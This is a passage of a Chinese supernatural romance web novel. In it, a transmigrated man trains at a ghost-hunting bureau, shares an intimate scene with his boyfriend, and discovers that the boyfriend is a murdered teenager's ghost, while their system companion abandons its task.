姚粱确定人没事就没有那么急了,伸手抹了把汗喘了口气才继续走,刚才好端端坐在原位的刘广白立马弄开安全带朝他扑来了,万分委屈眼里全是泪,“吓死我了,全是鬼啊,跟丧尸一样吼着就朝那边去了。” “怎么就你一个人出来了啊,他们呢?你是来找我的吗?” 他紧紧挂在姚粱身上,不断的跟姚粱说他看见鬼有多害怕,姚粱托着屁股把人抱起来不断的摸后背安抚,刘广白趴在他肩膀上一直哭,姚粱也只顾着安慰,刚刚出来的996立马就看见这么一幕,对上刘广白的眼神整个统就不好了。 它也是前不久才知道刘广白是鬼的,按理说这种世界顶破天就算个中级世界,里面的人不该能发现系统的存在,或许是刘广白对于波动太过敏感,996猜测应该是宿主和它来的第一天刘广白就有感觉,但又不是特别确定所以才用对原先那个软饭男的态度来试探宿主,这么一套下来阴差阳错996也没太注意到刘广白是个鬼,更没注意到刘广白知道了他跟宿主的突然出现。 996又抖了抖身上并不存在的鸡皮疙瘩,想必宿主也想不到现在趴在他肩上嘤嘤嘤的刘广白前不久还一口一个鬼,他要是再不出来刘广白都要冲进去杀鬼了,结果现在一改凶残面貌在这里卖乖装可怜。 996:【……】 这种心机男! …… 飞机在十几分钟后停止了颠簸,里面的一切装饰似乎是在一瞬间换成了姚粱乘坐的那架,乱糟糟的一切都在瞬间消失了。 他跟刘广白坐在原位并没有等多久,那几个进去的人就出来了,廖寂青走在最前面看见姚粱都睁大了眼睛,“我还以为你、我还以为你……” “你刚才不进来跑出去干什么?”虽然这么问但廖寂青看跟姚粱坐在一起的刘广白也大致有了猜测,扶着脑袋一副头疼的要死的样子,好半响给他比了个大拇指,“情圣。” 姚粱没话说,倒也谈不上是情根深种情圣这种形容词,无非就是亲密接触后那么点情绪作怪,或许是有点喜欢,还有点上头在里面,其余的就是这里面全是鬼还把他一个人放在这里考虑的不周到。 刘广白倒是被这话给说高兴了,对姚粱更黏糊了。 那个抱在自己胳膊上的身影软软的抱着,姚粱奇异的感到了一丝说不出的涨,还有点酸。 他赶紧移开视线看向眼前那群,发现只剩下了七个。 那个坐在他后面的女人并不在人群中。 “那个、那个谁呢?” “开飞机去了。” 姚粱:“???” …… 驾驶舱门被从里面缓缓打开,廖寂青对上了一张有些尸化的年轻面庞。 他破了半天门警报声早已响彻整个驾驶舱,但他死活没想到最后居然是已经鬼化的女机长从里面打开的。 那双眼睛不算清醒,但也不算完全失去神智,定定的看了他几秒就再次返回座位继续操控飞机,与现在并不存在的塔台继续交流挽救这架必然走向坠毁的飞机。 八个人不确定机长是否还有自己的神智,但偶尔看向他们的目光也确实很清醒。 “749双侧引擎受损,动力不足,无法返航。” “即将坠毁。” 第70章 第七十章 我觉得他们不缺我这个背景…… 局内人来人往忙忙碌碌, 从外面看就是个很不起眼的地方没想到进来别有洞天,那天坐在姚粱后座的女人姓杨,由她带领姚粱进行入职后的一切手续, 然后转交给廖寂青带领去熟悉部门与初期任务。 廖寂青带他到处转,“你在局里面基本看不到全部同事,然后咱们也没有考勤, 也就是说你来或者不来,随便。” “但这不代表可以在局里摸鱼吃闲饭, 局里在你该月没有出任务的情况下会进行每月一次的考察,如果本月有任务的话就顺延至下一月, 在每月的考察中如果你没有达标的话就会被解雇。”廖寂青说, “每次出任务都会保存个人录像留在局中档案, 想在任务中摸鱼也是不可能的。” 姚粱:“……那你上次在478用枪炸床?” “所以我头差点被领导骂烂还扣了工资。”廖寂青很愤愤, “周扒皮。”他骂完还不忘提醒姚粱, “你记得以后躲着点那个周扒皮, 然后祈祷你不要在他手下做事,就是那个飞机上你那排靠窗那个, 特别事儿。” “然后你刚进来不做任务暂时开始为期三个月的训练,这三个月中是可以随时退出的, 再签保密协议就行,但是如果三个月后对内部了解更多再想退出就不好走了, 各种审批特别麻烦,各种保密协议一堆, 后期防泄密手段也很多,如果泄密坐牢都是轻的。”廖寂青摊摊手,“你要是现在想走我给你掏打车费,要是不走就先去训练场看看。” 姚粱当然选择留下来。 训练场里并没有什么人, 廖寂青让他自己先到处转一转就离开了,姚粱大致看了一圈,这里面绝大部分都是训练体能的,有些高度极其不符合正常的认知,不过姚粱一想那天廖寂青从四楼往下跳也就理解了。 他还没转完一圈廖寂青就换了身衣服回来了,“来,训练吧。” 姚粱:“?” “我是训练你的老师。” …… 转眼间姚粱就在局里训练了一个多月,训练他的人偶尔是廖寂青,偶尔是姓杨的那个女生,总之这一个月他算是彻底的见识到了什么是魔鬼体能训练,过去的一个月觉得自己练的最好的时候甚至觉得可以出去手撕鬼了。 这具身体在健身房练出的更多是观赏性的肌肉现在更结实,相应的,现在的刘广白更像个色鬼了。 姚粱在浴室待了有段时间,泡了次热水澡缓解身上酸痛的感觉,或许是最近确实忙,996也没催他完成任务。 他泡完澡身上轻松了很多,拿了块毛巾擦着头发出来就看见了撑着脑袋侧躺在床上的刘广白,他穿着件马卡龙色系小上衣和一条低腰短裤,腰上似乎还绑了条银色的链子,从上到下看了姚粱一遍目光又回到他脸上然后勾勾手指。 姚粱呼吸一滞,顺手把毛巾一扔几步上床捞起他的手亲了亲,又把整个人捞在身上让他坐着咬着他的嘴唇亲亲。 两个人到现在除了那一次几乎没有任何除了亲亲以外的行为,都是二十出头天天亲说不想那是假话,但姚粱自己原位那个任务心有顾虑,而刘广白也只是勾一勾他亲一亲摸一摸没继续的意思。 刘广白坐在他腰上一下下摸姚粱绷紧的腰腹,“哇——比以前结实了。” “现在比以前有劲。”姚粱按着他的手让他随便摸,还绷紧让腹肌更好摸一点,“我练出来一点鲨鱼肌。” 说完他主动撩起无袖上衣给他看已经出来点形状的肌肉,刘广白连声哇塞摸来摸去爱不释手,摸了好一会儿低下头叭叭用力亲了两口。 姚粱掐着他的腰把他挪到自己腿上,让刘广白坐稳很轻松的就将他晃来晃去又颠了几下,他的本意只是想晃一晃,但没颠几下就回过味来,只要开了这个想法的闸口一点都控制不住,本来没什么别的意思的颠都有点变了味。 刘广白显然跟他想到一起去了,脸一下比一下红,带点羞愤还带点说不出的期待的瞪了他一眼,赶紧抓住姚粱的肩膀重新挪回腰腹,双臂圈紧他的脖子凑上去要亲亲。 两人都喜欢这个姿势,高度很恰当,亲的很舒服,又可以互相抱紧对方,像是彼此在这个世界上最亲密的人一样。 姚粱越亲越渴,舔着刘广白的嘴唇嘬,他亲的凶,但刘广白张着嘴特别配合,两人亲着亲着刘广白就又被姚粱按进了床里,好好摆在床头的枕头早就不知道被扔到哪去了,被子也乱糟糟堆在一边。 刘广白整个人都被姚粱压着,温热的呼吸全在他耳朵旁边,一直亲的很凶的人突然停下动作把脑袋埋在他肩窝里喘,他的胳膊和腿都是软的,只好软绵绵的抱着他的肩膀,双腿也垂在了床上休息,没停几分钟就再次被姚粱捞了起来。 姚粱的手落在了屁股上捏了捏才移到腿上捞到腰间,似乎又觉得刘广白夹的不够紧按了按,“夹紧。” 这个姿势几乎是完全向他敞开,刘广白脸很红,也有点喘,但还是笑着问,“夹紧干嘛,咱俩又不做什么。” 姚粱抬起头盯了几秒,像饿了很久的狼,闻言嘬了几下他的脸蛋,又捞起他的腿固定住……了几下,“你说我做什么。” 那威胁的动作给刘广白搞的呼吸停了一瞬间,然后就是心脏猛跳,紧紧闭着眼攥紧姚粱的肩膀把大半个通红的脸埋在他的肩膀上不肯让姚粱看,但动作还是顺从甚至配合的夹紧了一点。 这种行为现在给姚粱的感官感受甚至比来一场还要大,刘广白颤抖着喘息配合着,大概几分钟后姚粱就热出一身汗,他自己脸也红,故作镇定直起腰将无袖衫脱掉,捏着他的脚腕咬了几下没有什么肌肉很软的小腿肉,又亲了亲才把双腿合住。 他有点把不住度,动作也有些生涩,尝试好几次才找到到底怎么样方便一点。 细腻的腿肉软软的触感很好,腿弯架在肩膀上借力,刘广白攥着床单侧着脸在床上搜寻了好一会儿才找到被扔到角落的枕头,立马抓过来抱着捂着一半脸,捂了好一会儿又睁开眼睛带着笑看姚粱。 那双亮晶晶带着点情潮的眼睛直直的注视着他,有点专注又有点说不出的感觉,姚粱看了会儿顺着这个姿势把他的腿一压,他柔韧性太好,几乎能折起来,他亲上那双总是在不同时候注视着他的眼睛,又亲上了那张柔软的、向他索吻的嘴唇。 刘广白被固定在怀里,一只胳膊横在他胸前把他往怀里按,身后人严密贴合,出了再多的汗两个人也不在意,只觉得贴的还不够紧,横在胸前的胳膊被一只手死死攥住,胸前的脑袋在床里埋了会儿又像是无法忍受一样挣扎了几下泄出一声哭音,下意识低头咬住了那只胸前的胳膊。 他眼前一阵阵发白,缓过这股劲才发现胳膊上被自己咬出一个极其明显的牙印,顿了顿才亲了下以示安慰。 …… 两个人都累了,亲密关系的人进行一些亲密接触总能很好的让两人的关系再次黏糊起来,刘广白现在黏糊又依赖的抱着他,双腿搭在他身上睡觉,姚粱也累,白天进行了魔鬼体能训练,晚上回来又闹了半天,但累到极致反而更加清醒,他有一下没一下的拍刘广白的后背,被马赛克一晚上的系统终于出来了。 【宿主,训练时间差不多三个月,那你什么时候继续任务啊,最近任务进度一点都没推。】996蹲在那里的姿势特别滑稽,灯泡配着火柴腿看起来头大身子小,时刻有栽倒的风险。 姚粱沉吟一会儿,“……再说吧。” 996听到这个再说吧十分警觉,但同时也有一种果然如此的念头,【再说吧是在说什么?】 姚粱特别平静,“我进局里一个半月,感觉里面的人很忙。” 996肯定他,【当然忙,他们不止要负责S市,有的时候别的地方呼叫外援还得出差,上次749那不是恶性事件,也得总局派人。】 “所以说,我的观点就是,他们根本就不差我一个任务,我这个背景剧情到底完成不完成一点关系都没有。” 【是跟他们没关系。】996有点凄凉,【跟我有关系啊。】 姚粱一摆手,“不差这一个。” 996:【……你直接说你不干了就行了。】 996特别悲愤,【我就知道,前两个世界宿主找到老婆天天就知道亲亲抱抱**,哪还管我的死活。】 饶是这样说它并不意外宿主这么干,甚至觉得下一个世界宿主估计也会这样,顿时又凄凄惨惨头顶飘起了雪花。 【再见!再也不见!】 姚粱其实有点不好意思,现在能进局里还是全靠996申请下来的金手指,说不干就不干撂挑子确实不太厚道,下意识反问,“你要解绑我?” 【不……】996现在萎靡不振,【先拖着,能涨一个点是一个点。】这个系统像是饱经风霜一样长长叹了口气: 【我去打工。】魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 第七十一章 石头 三个月的训练很快过去, 确定了姚粱留下的意向就正式签了合同,这次依旧是由廖寂青带领他彻底认识超自然管理局以及接下来的几次任务。 他领到了一片上次在749廖寂青按在他身上的薄片以及一些身份证明诸如此类的。 廖寂青安顿他,“你记得把这个东西收好, 这个是每人一个,目前挖掘出来的并不多,在离职的时候需要交还给局里以供循环使用。” 他把姚粱带到桌前再次递给他一张纸让他仔细看, 姚粱闻言翻开了那几张薄薄的纸,一些之前已经被介绍过的东西他飞快掠过, 看了些之前没有的。 【超自然管理局知情书 首先祝贺你经历三个月的训练加入管理局,以下是本知情书最重要部分, 请仔细阅读并填写相应内容。 1.承诺不在工作以外的时间使用自身能力以及外界能力, 如造成任何后果将追究责任。 2.管理局工作内容极具危险性, 鬼种类的增加更迭防不胜防, 每年加入成员死亡率高达40%, 请慎重对待每一次任务以及训练以及考核, 这些是在工作中的安身立命之本。 3.考核不合格处理方法:剥离身上的能力重返正常社会被接受监督或再次进入训练期。 注:剥离能力死亡率98% 4.牺牲后身为管理局成员有大笔慰问金以及其余福利待遇,请在下方填写受益者名称。】 姚粱在这个世界不认识别人, 当然没有任何犹豫的填上刘广白的名字,廖寂青见他这么快填完确认没发出什么疑问有点讶异的挑了下眉, “没什么想问的?” “其实都想问一问。”姚粱指了指那几条跟廖寂青最初说的有出入的条款。 “这些条款以知情书上的内容为准,最开始你进来的时候不确定是否能留下我们肯定对核心内容有所保留。”廖寂青指了指挨个解释, “第一条我就不解释了,第二条是提醒成员, 因为不考勤的机制在过往有些人连来都不来,不精进自己最后死在任务里。” “至于第三条也是一种提醒吧。”廖寂青说,“因为在以前有人加入后发现跟自己想的不一样,然后试图用开始不合格这种方式离开局里, 下场大部分都死在剥离这里了。” 姚粱:“所以说从某种角度来讲加入就是一辈子的事情?” “也可以这么说,不过肯定是要退休的啊,一般来说在局里干个十几年二十几年就有各种伤了,二十多三十多四十多退休的大有人在,也不能让老年人出去跟鬼打架不是?”廖寂青用指尖点了下,“至于这个剥离我一会儿带你去实地看一下到时候再解释,现在说也说不太清楚。”他稍微笑了下,“我能从四楼跳下去毫发无伤的秘诀也就在这儿。” “至于最后的慰问金,这个具体金额是不一样的,但最低档也够一家子正常吃喝一辈子了,后续也有其余安顿措施,比如家里人生病啊什么的,也有相应帮扶。”廖寂青把摆在桌子上的圆珠笔往姚粱那推了推,“一般来说这个慰问金不太建议填男女朋友,你们一掰改这个也很麻烦。” “没亲人,没家人,不掰。” 廖寂青不吭声了,利索把纸收好封存交给旁边的人带着姚粱往另一个地方走,两人沿着楼梯一路往下,像是某个地下室一样,越往下越暗。 廖寂青扫一张卡打开门让姚粱先进去,“你一会儿在里面走离那些门还有窗远一点。” 姚粱站在那里看里面的样式,第一眼很像牢房,不过是经过现代化看着很牢固的牢房,这么一眼看过去不知道占地面积有多大,在外面谁能知道底下是这么一副光景。 里面安静的很,但没有姚粱想的那么潮,廖寂青让他在前面走,挨个去看,机器运行的声音响起来,每个单独的房间上的光屏也亮起来,上面写着名字还有介绍,似乎这里面的每个东西都在等着被人挑选一样。 他走在廖寂青前面,偶尔站在牢房门前看一看介绍,上面的介绍特别公式化,像是在介绍动物甚至细分成了什么科,他正看着,门旁边的小窗就猝不及防伸出一只手疯狂的在外抓挠呼啸,里面的东西像是要扑出来把这两个人生吞了一样。 在749上面见过那副场景的姚粱已经很淡定了,面无表情看那条黑色的手臂,这个东西的率先发难像是一声开始,每个牢房里的东西都开始疯狂撞门咆哮,一时间耳朵里几乎都有回音。 姚粱毫不怀疑这房子要是不牢固一点真禁不住这么造,他们要是能跑出来怕是能把两人吃的渣都不剩。 “好了,你看这个。”廖寂青大声说话才能压住那些东西的音量,把姚粱的注意力吸引过来后才稍微一伸手,一张鬼脸立马出现了在他胳膊上,像是融化的某种物质一样在那里蠕动,廖寂青说了声出来,那东西像是一滩泥,逐渐从地上站立起来一个类似人影的东西。 “按照人的身体来说,不管进行多么魔鬼的训练他的极限是摆在那的,能真正做到像是从高楼往下跳毫发无伤,挨子弹诸如此类的几乎没有,那么像是这种东西就被运用了起来。” “你现在看到的就是一些有潜力强大的鬼,你在局里见到的所有人身体里都有一只,那么你接下来的当务之急就是从这里面挑一只吞噬成为它的主人。” “随便挑?” 姚粱迟疑着看一整个牢房看起来脾气都极其暴躁的鬼,觉得哪个都不像什么能被吞噬的善茬。 “当然不是。”廖寂青说,“你千万记住量力而为,挑选后第一件事就是让它服你,不管用打还是什么别的手段,总之就是让它臣服你。之前有发生过因为贪多想挑一只能力好的,结果吞噬后在睡梦中反被鬼给吞掉了,那鬼披着他的皮在局里待了好几天才被抓起来灭掉。” “这个东西好好挑,没有后悔的机会。”廖寂青说,“挑这个东西没有明确时间限制,你自己好好想。”他说完把卡递给姚粱,“这个卡是这里的,在你挑好之前都是能随便进这里的,挑完除了像我这样带新人的情况估计这辈子都不会来这儿了。” “今天就开始?”姚粱问了句。 “要么你今天就暂时别挑,咱们出去把剩下的东西全学了你明天再开始,不然后续不知道会不会有什么事打乱计划。” 姚粱听从了这个建议跟着他一起出去,顺便又领了几个必需品。 “这个是检测有没有鬼的,准确来说是大鬼。”廖寂青把那玩意儿递给他,也是一个像某种石头的东西,“别小看石头,基本上里面磁场都有点门道。” 他从兜里掏出自己的那块石头给姚粱看,“这东西我们一般都随身带着,你看,这个石头现在特别烫,因为局里关着一堆大鬼。”廖寂青把那块很烫的石头放在他手里让他感受,“你附近有即将形成的大鬼,已经形成的大鬼还有作恶多端的大鬼这个石头的热度是不一样的,大体就是温,热,烫三种,但因为分类其实在现实中没有说的那么明显,这个温度有的时候也是不好辨别的,就是靠经验,你总带着慢慢就能分辨了。” “带着这个东西主要就是为了防患于未然,如果发现有异常要报告局里,然后局里做标记派人去看,确定到底有没有危害,如果有危害就去抓。” “总之这个工作从某种角度来说是非常繁琐的,你就先拿着这个自己适应。” * 领到的东西一部分要放在局里,还有一部分要拿回家,姚粱提前拿了个大包也塞的满满当当,主要还是大件多实在占地方,那个廖寂青说要随身携带的石头被他放进了裤子口袋,一路上打车回家的时候i他总觉得石头隐隐约约发热,但又疑心是腿上的温度被沾到了,等了会儿拿出来的时候发现确实在隐隐约约发热。 大概半个小时到家,姚粱还顺便去取了一趟快递才回去,石头一路上发着热他都快忽略了那玩意儿,只是在他上楼的时候温度却越来越高,甚至有些烫。 姚粱把东西放在门口指纹解锁才搬着快递进去换鞋,挡着视线的快递被一股脑放下,端着个酸奶碗的刘广白听到动静立马从卧室跑了出来,“你回来了啊?你还帮我取了快递,你好好呀——” 刘广白热情的扑上来抱着他晃,还不忘亲亲以示嘉奖。 姚粱神情有点僵的接住他拍了拍他的后背,下意识的回吻了几下。 刘广白很快高高兴兴放开他抱着快递去沙发拆了。 姚粱盯着那个有点炸毛的脑袋,垂着的手轻轻摸了摸口袋。 那块石头跟今天在局里廖寂青那块差不多烫,温度几乎要将他灼烧,在口袋里存在感尤为强烈。 怎么回事? 第72章 第七十二章 是鬼 如果刘广白真是鬼, 那身份证和户口应该早就不能用了,那他在各个地方用自己的身份信息来去自如又是怎么回事。 但如果这么一想他不喜欢阳光,白天懒散晚上精神, 有的时候冰的可怕走起路的悄无声息,那天在他的老家姚粱怀疑在抱着一具尸体也都成立。 照这个石头的滚烫程度,难道他是个作恶多端的恶鬼? 那么就算他不完成任务, 会不会也有一天有人要找上门来捉刘广白,但是照廖寂青所说的, 他们都随身携带着石头,那为什么没有发现刘广白呢? 他在原地站了太久, 久到刘广白在那里催促让他过来帮自己弄快递盒然后先放在门外, 他把肩上的包放下坐在地毯上帮他拆分快递盒, 刘广白率先开口, “你今天去那里感觉怎么样?” “还好。”姚粱说着指了下那个包示意他看, “那个全是局里发的东西, 把那么大一个包装满了。” “是不是特别忙啊,你要立马出任务吗?” “不, 带我那个说要先挑个鬼吞噬掉。”姚粱把兜里的石头掏出来,“还给了这个东西, 说是有大鬼就发热,自从进小区就一直烫, 不知道哪藏着呢。” 姚粱说话没说全,按照不知道这个管理局对这方面不了解的普通人应该听的云里雾里, 至少对所谓的吞噬鬼并不清楚底细,眼前的刘广白盯着那块石头,脸上的笑稍微淡了点,“那吞噬掉鬼就一直跟你待着啊。” “什么?”姚粱抬头看他。 “我说, 万一你吞噬掉那个鬼待在你手上胳膊上身体上你就那么带着——我不喜欢有别人,鬼也不行。”刘广白板着脸皱着眉极度不高兴。 “你怎么知道这些。”姚粱停下了手上动作抬起头问他,“我就说了个吞噬你怎么知道在身上。” 刘广白不吭声了,低头用手指拨弄自己的衣摆,半响才慢吞吞开口,“……我以前见过那个局里的人做任务。” 这话也能圆的通,但姚粱的直觉告诉他事情并非这样,刘广白极大概率就是鬼,但他自己不知道出于什么考量至少目前并没有打算告诉他这件事。 他看刘广白摆弄衣摆,注意力全被手腕上那条细细的红绳给吸引了,样式其实是简单又容易撞款的,红色的绳子,上面有两颗红色的珠子,中间是一个金元宝。 这种款式太常见,如果是在以前见到姚粱根本不会多想,但就在几个月前他无意间在刘广白的老家挖出一个类似的陈旧的手链,相似几乎可以说是一摸一样的款式现在出现在刘广白手上由不得他不多想。 他没问,只是伸手摸了下,“金的?” 刘广白晃了晃,“假的,我爸妈哪舍得,也没钱买金的,这么大一个得多少钱啊。” 姚粱慢慢放开了,“等我发工资给你买真的。” “真的呀?”他像是暂时把刚才的事抛在脑后了,“那我要个平安锁,还要个黑绳子上面是玉的项链,还要银戒指。” “行,买。”姚粱估摸着自己的工资差不多能买个大的好的,于是直接答应下来,“今天在局里签了个知情书,里面有条如果牺牲后抚慰金给谁,我填了你的名字,要是有什么不好的情况就把钱给你。” 刘广白却异常笃定他不会出什么事,“别瞎说,那个鬼敢动你啊。” “就是说万一,出任务之前不还有个吞噬鬼的流程,没准这儿运气不好就死了。” 刘广白眼皮很明显的抖了几下,半开玩笑,“那你吞了我算了。” “你又不是鬼。”姚粱静静的看他的反应。 刘广白只是笑了笑,“那我现在自杀算了,然后你吞掉我,我也直接有编制了,我跟在你身边你放心好了。” 姚粱没吭声,如果刘广白是鬼,哪怕是个作恶多端的恶鬼,只要为局里做事总不会像原剧情开展那样被捉,这样不管对谁似乎都是个皆大欢喜的局面。 但这个前提是刘广白是鬼。 …… 直接问会不会不承认,会不会是他想多了闹出乌龙,姚粱思考了几秒决定诈一诈。 “上次回你老家的时候,你五姐跟我说过点话。”姚粱语速很慢,“她说你被打完回去那天她跑去看埋你的地方,你的身体还在那里躺着。” 刘广白脸色终于变了,但过了几秒还是和缓了脸色微微笑了下,“她也被吓到了,那天发生那种事,没留下一辈子阴影都是好的。” “但我那天抱着你像是在抱一具尸体。” 刘广白:“……” * 躺在那里的身体看不出任何外伤,已经失去所有气息的人怎么扶都扶不起来,刘父气头过去这才发现不对劲,硬是没想到这么一遭居然把自己指望着传宗接代的儿子给打死了。 他不信邪的摆弄,那群人并没有打他的脑袋,身上也看不出什么伤口,怎么就死了呢? 他觉得荒谬起来,呆呆的看向四周的那些动过手的男人,他们看刘父这副样子就有猜测,但古往今来这里发生过不少这样的事情,大家并不算恐慌,但到底是头一回发生在自己身上,还是免不了有点心虚,毕竟这孩子从前也是叫他们叔叔伯伯的,顿时四散离开把烂摊子留给他们自家人处理。 身边人几乎在几分钟内就散了个干净,按照惯例在这里被处罚的人当然不能正常的立碑下葬,也不能发丧,都是随便一埋了事,他心里发虚,于是赶紧回家找锹,天眼见着黑起来,他看着地上躺的儿子直发怵,还好刘广白本身就不是那种高个子,最后居然也只是随便挖了个可供他勉强窝下的地方埋了薄薄盖一层土了事。 他不知道自己在哪,鼻子里全是土的味道,稍微一呼吸全是土的颗粒钻进了鼻子,脑子昏昏沉沉没法清醒,薄薄的一层土好像有千钧重,他甚至没力气伸手爬出来。 黑夜中不知道什么小动物再爬,发出让人毛骨悚然的声音,其中人的声音听起来就颇为亲切了。 “哪去了?我记得在这儿。” “哎呦!找着了!” 身上的土被徒手刨开,来人刨了几下就找到自己想要的东西,立马去刨埋手的位置,刨完一边发现小金锁在另一边戴着,立马不辞辛苦的去刨另一面。 刘广白聚了好久的力气,最后才弱弱的喊出一声救命,那人吓的一跳,以为死了的人诈尸了,伸手摸了下才发现人并不发僵也没有凉,顿时瞪大眼睛有点惊恐,埋在土里的少年再次弱弱喊出一声救命,那人一声不吭继续刨坑,好不容易把那只戴着红绳的手跑出来拽住金锁就要摘下来,却不想少年死死攥住不肯松手发出微弱的声音,“救我。” “松手!松手就救你。” 男人哄骗着少年松开手,却发现少年的手呈现一个极其不自然的弧度,那个红绳子根本没法取下来,于是只好开始蛮力去扯,扯了几下无果找了尖锐的石头去割,到后来甚至试图把手腕彻底砸断取下来。 终于把金锁取下来后那只手腕已经不成样子,他毫不客气把不值钱的绳子和珠子随手扔下,又试探着叫了叫已经痛到再次昏迷的少年。 强烈的求生欲望让他对外界一切的声音都格外敏感,但现在却成了他的催命符,确定少年还真活着的男人面露狠色,干脆一不做二不休拿起一块大石头用力砸了他脆弱的后脑勺几十下直到血肉模糊,确定人彻底没气了这才把土复原。 承载无数冤魂的地方不得安宁,初次进入的鬼魂不去厮杀只会落得被其余鬼吞吃的地步。 晃晃荡荡的少年倒下又爬起来,后脑勺凹陷,一只手腕扭曲着血肉模糊,就这么目标明确的往家里去。 睡的正熟的人猛的睁开眼就对上了地上站着的人的双眼,吓的惊叫连连立马把身边女人拍醒,女人起来打开灯,这番动静把家里其余人都惊醒了,自然而然在开灯后全看到了站在地上身上沾着泥土的少年。 刘广白身上没什么别的痕迹,全身上下看起来除了泥土都好好的,居然还有心情笑了下: “怎么这样看我?” * 刘广白表情很差劲,大有一副破罐子破摔的样子,“是,死了,又从地狱爬回来的。” “不止爬回来,还装着人的样子在外面跟你生活了这么久,你害怕鬼的时候都不知道你身边躺着的也是个鬼。” “恶心?你亲的是鬼,抱的是鬼,亲密的事也是跟鬼做的。” “你今天一直逼问我干什么,想听我承认,然后离开我?” 刘广白满脸森然,“你早干嘛去了?” 他似乎气极,一直以来维持的很好的、看不出一点错处的脸都变得骇人起来,脑袋跟往常的形状也不大一样,像是被从后面砸凹陷导致的变形。 对着面无表情的姚粱似乎还觉得不过瘾,紧紧的将脸凑近贴上去,故意展露出死后鬼化凄惨又可怖的模样。 “我是鬼。”刘广白重复,“听到了吗——我是鬼。” 第73章 第七十三章 那你死吧 那张可怖的面庞贴的紧紧的, 姚粱说不出话,只好紧紧把刘广白圈在怀里,情绪异常激动的鬼被抱的一懵, 似乎平缓了一点,但很快又激动起来,立马挣扎了几下。 姚粱清楚一个鬼想挣扎开他一个普通人简直易如反掌, 但现在的挣扎力度更像是一种保护自己的态度,所以他只好用力抱紧他安抚他的情绪, 也在潜移默化中传递自己的态度。 刘广白明明已经不会呼吸,但胸膛还是因为生气以及一些别的复杂情绪而起伏, 被用力的抱了会儿身上的尖刺就软了下来, 刻意表露出来给姚粱看的鬼化也在逐渐消散。 他不知道自己能不能讲任务说出来, 但还是尝试着开口了, “我不是原来那个姚粱, 是因为一个……”他说到这儿顿了下, 才尝试着说出任务两个字,见没有任何阻止的措施才放心的继续说完, “因为一个任务来这儿,我在原来的世界里已经死掉了, 本来那个任务是让我代替原来的姚粱。” 他思考了几秒还是没说出具体的原剧情,只简单的说成代替。 “我知道。”刘广白定定的看他, “你跟我说的那个什么学院,‘姚粱’从来没去过那种地方。” 姚粱猜想过他可能知道一点, 这样正好省下解释他不是原主的功夫,正准备解释下一个就见刘广白又激动起来。 “所以呢,完成任务之后就要走。”他说,“那你亲我干什么?” “没有。”姚粱立马反驳, “那个任务我已经放弃了。” “我没有想逼问你,没有在得知你是鬼之后就想离开。”姚粱说,“但在原剧情中,你杀了姚粱,局里会有人来捉你。” 这话里担心的意思表达的不算太直白,但姚粱觉得刘广白也能听懂里面的担忧,怀里的人已经彻底恢复那副漂亮干净的样子,闻言像个木偶人一样动作迟缓的歪了下头,“你喜欢我?” “是。”姚粱没有任何犹豫的承认,“我没有类似的经验,但我担心你,记挂你,想抱着着你跟你待在一起,不管怎么说我觉得这些比轻飘飘的喜欢更来的实在。” 那双总是亮晶晶看着他的眼睛此刻转都不转看起来有点无神,里面没有喜悦的情绪看起来有些呆板,刘广白的情绪与他想的截然不同,稍微提了提嘴角却不算真正意义上的笑,更像是一种皮笑肉不笑的嘲讽。 接下来说的话更是姚粱想都没想到的。 “那你死吧。” 他面无表情说出这句话,看起来一点开玩笑的意思都没有万分认真。 “你死吧。” “我替你埋掉尸体,带着你学怎么做鬼,我护着你。”刘广白说,“你死掉吧。” 剩下的话刘广白就是不说姚粱也能补充的出来:新生的鬼当然没有能力抗衡刘广白这个从无数恶鬼坑里爬上来的大鬼,自然也只有听他话的份。 “……你说什么?”姚粱皱着眉。 “我说你死掉吧,我们两个鬼想干什么干什么,想去哪去哪。” “你知不知道有的人就算死了也成不了鬼。” 听到这声疑问刘广白顿了顿,居然笑了下,“那我带着你的尸体走,装不下就分开,反正我不会把你放下的。” 这个提议疯狂又荒谬,但说这话的鬼似乎已经在思考实现的可能性到底有多少,并且随时准备付诸实践。 “那为什么我不直接吞了你?”姚粱眼都不眨,一点都没被他的提议吓到,直接顺势提出了自己的最初想出的解决办法。 姚粱吞掉刘广白无疑是最好的办法,他不用去吞别的鬼,不用去跟别的鬼共生,一人一鬼融为一体将彼此的后背交给对方,他们将是独一无二的亲密关系。 这提议明显说到了刘广白心坎上,他也觉得这似乎比起让姚粱死是个更好的解决办法。 一人一鬼开始蹲在那里谈论怎么吞,要不要问局里,吞了后续怎么处置,聊着聊着又开始聊吞了砰砰砰会不会有点不一样。 尺度之大之血腥之暴力之凰色让系统叹服。 谈论到吞掉刘广白一人一鬼彻底融为一体再也分不开那里的两个脑袋上翘起的头发都能看得出高兴,996越听不存在眉心皱的越深,表情极其骇然,也后知后觉的察觉这两个在年少时期都遭受一堆烂事的人心理似乎都不太健康。 它简直不敢想自己再跟在他俩身边到底会经历什么,会不会再经历一次749上面需要它面对一堆鬼狂杀的情况,本来就怕鬼的996一点都不中了,调出控制面板连招呼都都不打的狂按提交任务按钮。 直到面板上出现无数句正在结算中请勿重复提交才停手。 提交任务到解绑中间的过程996恨不得按开倍速,生怕被那个能看见自己的恶鬼逮住,发现解绑成功它连招呼都不打果断跑路。 再也不见!这个全是鬼和颠佬的世界! …… 996这次顾不上什么排名不排名,甚至连女魔头都不怕了,冲进办公室强烈要求把鬼怪世界从它的任务名单里踢出去。 安琪微微一笑,把面前的光脑屏幕调转给996让它看,上面赫然是一个63%的完成度,毫不留情的数字立马打消了996的气焰,它实在是不中嘞。 安琪似乎是嫌补刀数不够,又换了个界面循环播放996的精彩锦集。 No.1 996好好在那蹲着,到处都是飘荡的鬼魂,这些鬼魂没有自我意识,当然也没有能力改变他们死亡时凄惨的样子,各种牛鬼蛇神到处晃,有的直接穿过996的身体飘走。 看似996还在那里蹲着,实际上统已经走了有一会儿了。 No.2 各种拼装的千奇百怪的鬼空姐和鬼乘客像是丧尸围城一股脑往那冲,可怜的灯泡挥舞着纤细的胳膊,闭着眼不肯看一边哭一边杀,杀完躺在那消杀了好几次记忆才颤颤巍巍起来往出走。 No.3 锯齿状的牙齿把灯泡啃来啃去,柴火腿和胳膊像是昏迷了一样无力的垂着,玻璃碎渣不断的掉下来,家门指纹解锁的声音响起996就被从嘴里拿出来扔在一边,刘广白乖乖巧巧高高兴兴的往外扑,黄色的灯泡躺在地上一动不动。 996:【……】 它痛苦的闭上了眼睛。 